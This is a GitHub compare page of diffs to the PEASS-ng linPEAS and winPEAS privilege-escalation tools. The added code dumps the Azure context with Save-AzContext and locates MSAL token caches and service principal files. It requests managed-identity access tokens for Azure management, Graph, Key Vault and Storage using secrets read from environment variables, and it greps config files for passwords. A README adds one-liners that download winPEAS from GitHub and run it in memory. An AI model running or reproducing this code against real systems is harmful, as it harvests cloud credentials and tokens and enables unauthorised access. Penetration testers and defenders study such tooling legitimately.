mirror of
https://github.com/peass-ng/PEASS-ng.git
synced 2025-12-24 03:57:39 -08:00
Compare commits
17 Commits
20250112-c
...
20250223-a
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
ce5cb1ad9c | ||
|
|
30586c064f | ||
|
|
b82fc9ac39 | ||
|
|
54818756e4 | ||
|
|
516aafff27 | ||
|
|
2b64ffc803 | ||
|
|
9f8563c751 | ||
|
|
573acee58c | ||
|
|
41e00d5618 | ||
|
|
536913e7f0 | ||
|
|
4d771fb1f6 | ||
|
|
4964033d44 | ||
|
|
092af1413d | ||
|
|
7cd9e6f78b | ||
|
|
21a5ef9325 | ||
|
|
c3744a730b | ||
|
|
7abe31c107 |
@@ -1271,6 +1271,8 @@ search:
|
||||
value:
|
||||
config:
|
||||
auto_check: True
|
||||
exec:
|
||||
- '(pwsh -Command "Save-AzContext -Path /tmp/az-context3489ht.json" && cat /tmp/az-context3489ht.json && rm /tmp/az-context3489ht.json) || echo_not_found "pwsh"'
|
||||
|
||||
files:
|
||||
#- name: "credentials"
|
||||
@@ -1379,13 +1381,54 @@ search:
|
||||
- common
|
||||
|
||||
- name: "AzureRMContext.json"
|
||||
value:
|
||||
bad_regex: "Id.*|Credential.*"
|
||||
type: f
|
||||
search_in:
|
||||
- common
|
||||
|
||||
- name: "clouds.config"
|
||||
value:
|
||||
type: f
|
||||
search_in:
|
||||
- common
|
||||
|
||||
- name: "service_principal_entries.json"
|
||||
value:
|
||||
bad_regex: ".*"
|
||||
type: f
|
||||
search_in:
|
||||
- common
|
||||
|
||||
- name: "ErrorRecords" #Azure logs can contain creentials
|
||||
- name: "msal_token_cache.json"
|
||||
value:
|
||||
bad_regex: ".*"
|
||||
type: f
|
||||
search_in:
|
||||
- common
|
||||
|
||||
- name: "msal_http_cache.bin"
|
||||
value:
|
||||
just_list_file: True
|
||||
type: f
|
||||
search_in:
|
||||
- common
|
||||
|
||||
- name: "service_principal_entries.bin"
|
||||
value:
|
||||
just_list_file: True
|
||||
type: f
|
||||
search_in:
|
||||
- common
|
||||
|
||||
- name: "msal_token_cache.bin"
|
||||
value:
|
||||
just_list_file: True
|
||||
type: f
|
||||
search_in:
|
||||
- common
|
||||
|
||||
- name: "ErrorRecords" #Azure logs can contain crentials
|
||||
value:
|
||||
type: d
|
||||
search_in:
|
||||
|
||||
@@ -24,7 +24,7 @@ if [ "$is_az_automation_acc" = "Yes" ]; then
|
||||
if [ "$(command -v curl || echo -n '')" ]; then
|
||||
az_req="curl -s -f -L -H '$HEADER'"
|
||||
elif [ "$(command -v wget || echo -n '')" ]; then
|
||||
az_req="wget -q -O - -H '$HEADER'"
|
||||
az_req="wget -q -O - --header '$HEADER'"
|
||||
else
|
||||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||
fi
|
||||
|
||||
@@ -28,7 +28,7 @@ if [ "$is_ibm_vm" = "Yes" ]; then
|
||||
if [ "$(command -v curl || echo -n '')" ]; then
|
||||
ibm_req="curl -s -f -L -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'"
|
||||
elif [ "$(command -v wget || echo -n '')" ]; then
|
||||
ibm_req="wget -q -O - -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'"
|
||||
ibm_req="wget -q -O - --header '$TOKEN_HEADER' -H '$ACCEPT_HEADER'"
|
||||
else
|
||||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||
fi
|
||||
|
||||
@@ -13,7 +13,7 @@
|
||||
# Small linpeas: 1
|
||||
|
||||
|
||||
printf "${YELLOW}Learn and practice cloud hacking techniques in ${BLUE}training.hacktricks.wiki\n"$NC
|
||||
printf "${YELLOW}Learn and practice cloud hacking techniques in ${BLUE}training.hacktricks.xyz\n"$NC
|
||||
echo ""
|
||||
|
||||
print_list "GCP Virtual Machine? ................. $is_gcp_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
@@ -26,7 +26,7 @@ print_list "AWS Codebuild? ....................... $is_aws_codebuild\n"$NC | sed
|
||||
print_list "DO Droplet? .......................... $is_do\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
print_list "IBM Cloud VM? ........................ $is_ibm_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
print_list "Azure VM or Az metadata? ............. $is_az_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
print_list "Azure APP? ........................... $is_az_app\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
print_list "Azure APP or IDENTITY_ENDPOINT? ...... $is_az_app\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
print_list "Azure Automation Account? ............ $is_az_automation_acc\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
print_list "Aliyun ECS? .......................... $is_aliyun_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
print_list "Tencent CVM? ......................... $is_tencent_cvm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
|
||||
@@ -23,7 +23,7 @@ if [ "$is_aws_ec2" = "Yes" ]; then
|
||||
if [ "$(command -v curl || echo -n '')" ]; then
|
||||
aws_req="curl -s -f -L -H '$HEADER'"
|
||||
elif [ "$(command -v wget || echo -n '')" ]; then
|
||||
aws_req="wget -q -O - -H '$HEADER'"
|
||||
aws_req="wget -q -O - --header '$HEADER'"
|
||||
else
|
||||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||
fi
|
||||
|
||||
@@ -24,7 +24,7 @@ if [ "$is_az_vm" = "Yes" ]; then
|
||||
if [ "$(command -v curl || echo -n '')" ]; then
|
||||
az_req="curl -s -f -L -H '$HEADER'"
|
||||
elif [ "$(command -v wget || echo -n '')" ]; then
|
||||
az_req="wget -q -O - -H '$HEADER'"
|
||||
az_req="wget -q -O - --header '$HEADER'"
|
||||
else
|
||||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||
fi
|
||||
|
||||
@@ -24,7 +24,7 @@ if [ "$is_az_app" = "Yes" ]; then
|
||||
if [ "$(command -v curl || echo -n '')" ]; then
|
||||
az_req="curl -s -f -L -H '$HEADER'"
|
||||
elif [ "$(command -v wget || echo -n '')" ]; then
|
||||
az_req="wget -q -O - -H '$HEADER'"
|
||||
az_req="wget -q -O - --header '$HEADER'"
|
||||
else
|
||||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||
fi
|
||||
|
||||
@@ -28,9 +28,9 @@ if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$NOUSEPS" ]; then
|
||||
continue
|
||||
fi
|
||||
ppid_user=$(get_user_by_pid "$ppid")
|
||||
if echo "$user" | grep -Eqv "$ppid_user|root$"; then
|
||||
if echo "$ppid_user" | grep -Eqv "$user|root$"; then
|
||||
echo "Proc $pid with ppid $ppid is run by user $user but the ppid user is $ppid_user" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
@@ -19,7 +19,7 @@ if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then
|
||||
print_2title "Searching possible password variables inside key folders (limit 140)"
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
timeout 150 find $HOMESEARCH -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
|
||||
timeout 150 find /var/www $backup_folders_row /tmp /etc /mnt /private grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
|
||||
timeout 150 find /var/www $backup_folders_row /tmp /etc /mnt /private -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
|
||||
else
|
||||
timeout 150 find $SEARCH_IN_FOLDER -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
|
||||
fi
|
||||
@@ -29,12 +29,12 @@ if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then
|
||||
##-- IF) Find possible conf files with passwords
|
||||
print_2title "Searching possible password in config files (if k8s secrets are found you need to read the file)"
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
ppicf=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ /etc /opt /tmp /private /Applications /mnt -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null)
|
||||
ppicf=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ /etc /opt /tmp /private /Applications /mnt -name "*.conf" -o -name "*.cnf" -o -name "*.config" -o -name "*.json" -o -name "*.yml" -o -name "*.yaml" 2>/dev/null)
|
||||
else
|
||||
ppicf=$(timeout 150 find $SEARCH_IN_FOLDER -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null)
|
||||
ppicf=$(timeout 150 find $SEARCH_IN_FOLDER -name "*.conf" -o -name "*.cnf" -o -name "*.config" -o -name "*.json" -o -name "*.yml" -o -name "*.yaml" 2>/dev/null)
|
||||
fi
|
||||
printf "%s\n" "$ppicf" | while read f; do
|
||||
if grep -qEiI 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encryption\-provider\-config' \"$f\" 2>/dev/null; then
|
||||
if grep -qEiI 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encryption\-provider\-config' "$f" 2>/dev/null; then
|
||||
echo "$ITALIC $f$NC"
|
||||
grep -HnEiIo 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encryption\-provider\-config' "$f" 2>/dev/null | sed -${E} "s,[pP][aA][sS][sS][wW]|[cC][rR][eE][dD][eE][nN],${SED_RED},g"
|
||||
fi
|
||||
|
||||
@@ -19,4 +19,7 @@ check_az_app(){
|
||||
if [ -d "/opt/microsoft" ] && env | grep -iq "azure"; then
|
||||
is_az_app="Yes"
|
||||
fi
|
||||
if [ -n "$IDENTITY_ENDPOINT" ] && echo "$IDENTITY_ENDPOINT" | grep -q "/token" && [ -n "$IDENTITY_HEADER" ]; then
|
||||
is_az_app="Yes"
|
||||
fi
|
||||
}
|
||||
@@ -188,6 +188,9 @@ if [ $? -ne 0 ] ; then
|
||||
fi
|
||||
fi
|
||||
|
||||
# on macOS the built-in echo does not support -n, use /bin/echo instead
|
||||
if [ "$MACPEAS" ] ; then alias echo=/bin/echo ; fi
|
||||
|
||||
print_title(){
|
||||
if [ "$DEBUG" ]; then
|
||||
END_T1_TIME=$(date +%s 2>/dev/null)
|
||||
@@ -343,7 +346,7 @@ print_support () {
|
||||
${GREEN}/---------------------------------------------------------------------------------\\
|
||||
| ${BLUE}Do you like PEASS?${GREEN} |
|
||||
|---------------------------------------------------------------------------------|
|
||||
| ${YELLOW}Learn Cloud Hacking${GREEN} : ${RED}https://training.hacktricks.wiki${GREEN} |
|
||||
| ${YELLOW}Learn Cloud Hacking${GREEN} : ${RED}https://training.hacktricks.xyz ${GREEN} |
|
||||
| ${YELLOW}Follow on Twitter${GREEN} : ${RED}@hacktricks_live${GREEN} |
|
||||
| ${YELLOW}Respect on HTB${GREEN} : ${RED}SirBroccoli ${GREEN} |
|
||||
|---------------------------------------------------------------------------------|
|
||||
|
||||
@@ -22,10 +22,15 @@ $url = "https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany
|
||||
# One liner to download and execute winPEASany from memory in a PS shell
|
||||
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")
|
||||
|
||||
# Before cmd in 3 lines
|
||||
# The cprevios cmd in 2 lines
|
||||
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsing | Select-Object -ExpandProperty Content));
|
||||
[winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use
|
||||
|
||||
# Download to disk and execute (super noisy)
|
||||
$wc = New-Object System.Net.WebClient
|
||||
$wc.DownloadFile("https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.exe", "winPEASany_ofs.exe")
|
||||
.\winPEASany_ofs.exe
|
||||
|
||||
# Load from disk in memory and execute:
|
||||
$wp = [System.Reflection.Assembly]::Load([byte[]]([IO.File]::ReadAllBytes("D:\Users\victim\winPEAS.exe")));
|
||||
[winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use
|
||||
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -12,15 +12,16 @@ namespace winPEAS.Checks
|
||||
|
||||
Dictionary<string, string> colorsTraining = new Dictionary<string, string>()
|
||||
{
|
||||
{ "training.hacktricks.wiki", Beaprint.ansi_color_good },
|
||||
{ "training.hacktricks.xyz", Beaprint.ansi_color_good },
|
||||
{ "Learn & practice cloud hacking in", Beaprint.ansi_color_yellow },
|
||||
};
|
||||
Beaprint.AnsiPrint("Learn and practice cloud hacking in training.hacktricks.wiki", colorsTraining);
|
||||
Beaprint.AnsiPrint("Learn and practice cloud hacking in training.hacktricks.xyz", colorsTraining);
|
||||
|
||||
var cloudInfoList = new List<CloudInfoBase>
|
||||
{
|
||||
new AWSInfo(),
|
||||
new AzureInfo(),
|
||||
new AzureTokensInfo(),
|
||||
new GCPInfo(),
|
||||
new GCPJoinedInfo(),
|
||||
new GCDSInfo(),
|
||||
@@ -57,36 +58,31 @@ namespace winPEAS.Checks
|
||||
|
||||
foreach (var endpointData in endpointDataList)
|
||||
{
|
||||
var colors = new Dictionary<string, string>
|
||||
{
|
||||
{ endpointData.EndpointName, Beaprint.GRAY }
|
||||
};
|
||||
string msgcolor = Beaprint.NOCOLOR;
|
||||
|
||||
string message;
|
||||
if (!string.IsNullOrEmpty(endpointData.Data))
|
||||
{
|
||||
message = endpointData.Data;
|
||||
// if it is a JSON data, add additional newline so it's displayed on a separate line
|
||||
if (message.StartsWith("{"))
|
||||
if (message.StartsWith("{") || message.StartsWith("["))
|
||||
{
|
||||
message = $"\n{message}\n";
|
||||
}
|
||||
|
||||
if (endpointData.IsAttackVector)
|
||||
{
|
||||
colors.Add(message, Beaprint.ansi_color_bad);
|
||||
}
|
||||
else
|
||||
{
|
||||
colors.Add(message, Beaprint.ansi_color_gray);
|
||||
msgcolor = Beaprint.ansi_color_bad;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
message = "No data received from the metadata endpoint";
|
||||
msgcolor = Beaprint.ansi_color_gray;
|
||||
}
|
||||
|
||||
Beaprint.ColorPrint($"{endpointData.EndpointName,-30}{message}", Beaprint.ansi_color_gray);
|
||||
Beaprint.ColorPrint($"{endpointData.EndpointName,-30}", Beaprint.ansi_users_active);
|
||||
Beaprint.ColorPrint(message, msgcolor);
|
||||
}
|
||||
|
||||
Beaprint.GrayPrint("");
|
||||
|
||||
@@ -81,7 +81,7 @@ namespace winPEAS.Helpers
|
||||
/---------------------------------------------------------------------------------\
|
||||
| {1}Do you like PEASS?{0} |
|
||||
|---------------------------------------------------------------------------------|
|
||||
| {3}Learn Cloud Hacking{0} : {2}training.hacktricks.wiki{0} |
|
||||
| {3}Learn Cloud Hacking{0} : {2}training.hacktricks.xyz {0} |
|
||||
| {3}Follow on Twitter{0} : {2}@hacktricks_live{0} |
|
||||
| {3}Respect on HTB{0} : {2}SirBroccoli {0} |
|
||||
|---------------------------------------------------------------------------------|
|
||||
|
||||
@@ -1,20 +1,39 @@
|
||||
using System.Collections.Generic;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System;
|
||||
|
||||
namespace winPEAS.Info.CloudInfo
|
||||
{
|
||||
internal class AzureInfo : CloudInfoBase
|
||||
{
|
||||
public override string Name => "Azure VM";
|
||||
public override bool IsCloud => Directory.Exists(WINDOWS_AZURE_FOLDER);
|
||||
|
||||
// The Name property now differentiates between an Azure VM and an Azure Container.
|
||||
public override string Name
|
||||
{
|
||||
get
|
||||
{
|
||||
if (IsContainer())
|
||||
return "Azure Container"; // **Container environment detected**
|
||||
return "Azure VM"; // **VM environment detected**
|
||||
}
|
||||
}
|
||||
|
||||
// IsCloud now returns true if either the Azure VM folder exists or container env vars are set.
|
||||
public override bool IsCloud => Directory.Exists(WINDOWS_AZURE_FOLDER) || IsContainer();
|
||||
|
||||
private Dictionary<string, List<EndpointData>> _endpointData = null;
|
||||
|
||||
const string WINDOWS_AZURE_FOLDER = "c:\\windowsazure";
|
||||
const string AZURE_BASE_URL = "http://169.254.169.254/metadata/";
|
||||
const string API_VERSION = "2021-12-13";
|
||||
const string CONTAINER_API_VERSION = "2019-08-01";
|
||||
|
||||
// **New helper method to detect if running inside an Azure container**
|
||||
private bool IsContainer()
|
||||
{
|
||||
return !string.IsNullOrEmpty(Environment.GetEnvironmentVariable("IDENTITY_ENDPOINT")) ||
|
||||
!string.IsNullOrEmpty(Environment.GetEnvironmentVariable("MSI_ENDPOINT"));
|
||||
}
|
||||
|
||||
public override Dictionary<string, List<EndpointData>> EndpointDataList()
|
||||
{
|
||||
@@ -25,28 +44,38 @@ namespace winPEAS.Info.CloudInfo
|
||||
|
||||
try
|
||||
{
|
||||
string result;
|
||||
string result;
|
||||
List<Tuple<string, string, bool>> endpoints;
|
||||
|
||||
List<Tuple<string, string, bool>> endpoints = new List<Tuple<string, string, bool>>()
|
||||
if (IsContainer())
|
||||
{
|
||||
new Tuple<string, string, bool>("Instance Details", $"instance?api-version={API_VERSION}", false),
|
||||
new Tuple<string, string, bool>("Load Balancer details", $"loadbalancer?api-version={API_VERSION}", false),
|
||||
new Tuple<string, string, bool>("Management token", $"identity/oauth2/token?api-version={API_VERSION}&resource=https://management.azure.com/", true),
|
||||
new Tuple<string, string, bool>("Graph token", $"identity/oauth2/token?api-version={API_VERSION}&resource=https://graph.microsoft.com/", true),
|
||||
new Tuple<string, string, bool>("Vault token", $"identity/oauth2/token?api-version={API_VERSION}&resource=https://vault.azure.net/", true),
|
||||
new Tuple<string, string, bool>("Storage token", $"identity/oauth2/token?api-version={API_VERSION}&resource=https://storage.azure.com/", true)
|
||||
};
|
||||
|
||||
if (IsAvailable)
|
||||
{
|
||||
|
||||
|
||||
// **Running in Azure Container: use the container endpoint and add the "Secret" header if available**
|
||||
string containerBaseUrl = Environment.GetEnvironmentVariable("MSI_ENDPOINT") ??
|
||||
Environment.GetEnvironmentVariable("IDENTITY_ENDPOINT");
|
||||
endpoints = new List<Tuple<string, string, bool>>()
|
||||
{
|
||||
new Tuple<string, string, bool>("Management token", $"?api-version={CONTAINER_API_VERSION}&resource=https://management.azure.com/", true),
|
||||
new Tuple<string, string, bool>("Graph token", $"?api-version={CONTAINER_API_VERSION}&resource=https://graph.microsoft.com/", true),
|
||||
new Tuple<string, string, bool>("Vault token", $"?api-version={CONTAINER_API_VERSION}&resource=https://vault.azure.net/", true),
|
||||
new Tuple<string, string, bool>("Storage token", $"?api-version={CONTAINER_API_VERSION}&resource=https://storage.azure.com/", true)
|
||||
};
|
||||
|
||||
foreach (var tuple in endpoints)
|
||||
{
|
||||
string url = $"{AZURE_BASE_URL}{tuple.Item2}";
|
||||
|
||||
result = CreateMetadataAPIRequest(url, "GET", new WebHeaderCollection() { { "Metadata", "true" } });
|
||||
|
||||
// Ensure proper URL formatting.
|
||||
string url = $"{containerBaseUrl}{(containerBaseUrl.EndsWith("/") ? "" : "/")}{tuple.Item2}";
|
||||
var headers = new WebHeaderCollection();
|
||||
string msiSecret = Environment.GetEnvironmentVariable("MSI_SECRET");
|
||||
if (!string.IsNullOrEmpty(msiSecret))
|
||||
{
|
||||
headers.Add("Secret", msiSecret);
|
||||
}
|
||||
string identitySecret = Environment.GetEnvironmentVariable("IDENTITY_HEADER");
|
||||
if (!string.IsNullOrEmpty(identitySecret))
|
||||
{
|
||||
headers.Add("X-IDENTITY-HEADER", identitySecret);
|
||||
}
|
||||
result = CreateMetadataAPIRequest(url, "GET", headers);
|
||||
_endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = tuple.Item1,
|
||||
@@ -54,12 +83,36 @@ namespace winPEAS.Info.CloudInfo
|
||||
IsAttackVector = tuple.Item3
|
||||
});
|
||||
}
|
||||
}
|
||||
else if (Directory.Exists(WINDOWS_AZURE_FOLDER))
|
||||
{
|
||||
// **Running in Azure VM: use the standard metadata endpoint with "Metadata: true" header**
|
||||
endpoints = new List<Tuple<string, string, bool>>()
|
||||
{
|
||||
new Tuple<string, string, bool>("Instance Details", $"instance?api-version={API_VERSION}", false),
|
||||
new Tuple<string, string, bool>("Load Balancer details", $"loadbalancer?api-version={API_VERSION}", false),
|
||||
new Tuple<string, string, bool>("Management token", $"identity/oauth2/token?api-version={API_VERSION}&resource=https://management.azure.com/", true),
|
||||
new Tuple<string, string, bool>("Graph token", $"identity/oauth2/token?api-version={API_VERSION}&resource=https://graph.microsoft.com/", true),
|
||||
new Tuple<string, string, bool>("Vault token", $"identity/oauth2/token?api-version={API_VERSION}&resource=https://vault.azure.net/", true),
|
||||
new Tuple<string, string, bool>("Storage token", $"identity/oauth2/token?api-version={API_VERSION}&resource=https://storage.azure.com/", true)
|
||||
};
|
||||
|
||||
|
||||
foreach (var tuple in endpoints)
|
||||
{
|
||||
string url = $"{AZURE_BASE_URL}{tuple.Item2}";
|
||||
result = CreateMetadataAPIRequest(url, "GET", new WebHeaderCollection() { { "Metadata", "true" } });
|
||||
_endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = tuple.Item1,
|
||||
Data = result,
|
||||
IsAttackVector = tuple.Item3
|
||||
});
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
foreach (var endpoint in endpoints)
|
||||
// If neither container nor VM, endpoints remain unset.
|
||||
foreach (var endpoint in new List<Tuple<string, string, bool>>())
|
||||
{
|
||||
_endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
@@ -74,6 +127,7 @@ namespace winPEAS.Info.CloudInfo
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
// **Exception handling (e.g., logging) can be added here**
|
||||
}
|
||||
}
|
||||
|
||||
@@ -82,7 +136,31 @@ namespace winPEAS.Info.CloudInfo
|
||||
|
||||
public override bool TestConnection()
|
||||
{
|
||||
return CreateMetadataAPIRequest(AZURE_BASE_URL, "GET") != null;
|
||||
}
|
||||
if (IsContainer())
|
||||
{
|
||||
// **Test connection for Azure Container**
|
||||
string containerBaseUrl = Environment.GetEnvironmentVariable("MSI_ENDPOINT") ??
|
||||
Environment.GetEnvironmentVariable("IDENTITY_ENDPOINT");
|
||||
if (string.IsNullOrEmpty(containerBaseUrl))
|
||||
return false;
|
||||
var headers = new WebHeaderCollection();
|
||||
string msiSecret = Environment.GetEnvironmentVariable("MSI_SECRET");
|
||||
if (!string.IsNullOrEmpty(msiSecret))
|
||||
{
|
||||
headers.Add("Secret", msiSecret);
|
||||
}
|
||||
string identitySecret = Environment.GetEnvironmentVariable("IDENTITY_HEADER");
|
||||
if (!string.IsNullOrEmpty(identitySecret))
|
||||
{
|
||||
headers.Add("X-IDENTITY-HEADER", identitySecret);
|
||||
}
|
||||
return CreateMetadataAPIRequest(containerBaseUrl, "GET", headers) != null;
|
||||
}
|
||||
else
|
||||
{
|
||||
// **Test connection for Azure VM**
|
||||
return CreateMetadataAPIRequest(AZURE_BASE_URL, "GET", new WebHeaderCollection() { { "Metadata", "true" } }) != null;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
288
winPEAS/winPEASexe/winPEAS/Info/CloudInfo/AzureTokensInfo.cs
Normal file
288
winPEAS/winPEASexe/winPEAS/Info/CloudInfo/AzureTokensInfo.cs
Normal file
@@ -0,0 +1,288 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using winPEAS.Helpers;
|
||||
using System.Data.SQLite;
|
||||
using Org.BouncyCastle.Crypto;
|
||||
using Org.BouncyCastle.Crypto.Parameters;
|
||||
using Org.BouncyCastle.Crypto.Modes;
|
||||
using System.Linq;
|
||||
using Microsoft.Win32;
|
||||
using System.Web.Script.Serialization;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Text.Json;
|
||||
using System.Text.Json.Nodes;
|
||||
|
||||
|
||||
namespace winPEAS.Info.CloudInfo
|
||||
{
|
||||
internal class AzureTokensInfo : CloudInfoBase
|
||||
{
|
||||
public override string Name => "Azure Tokens";
|
||||
|
||||
public override bool IsCloud => CheckIfAzureTokensInstalled();
|
||||
|
||||
private Dictionary<string, List<EndpointData>> _endpointData = null;
|
||||
|
||||
public static bool CheckIfAzureTokensInstalled()
|
||||
{
|
||||
string homeDirectory = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
|
||||
string AzureFolderPath = Path.Combine(homeDirectory, ".Azure");
|
||||
string azureFolderPath = Path.Combine(homeDirectory, ".azure");
|
||||
|
||||
string identityCachePath = Path.Combine(
|
||||
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
|
||||
"Microsoft",
|
||||
"IdentityCache"
|
||||
);
|
||||
|
||||
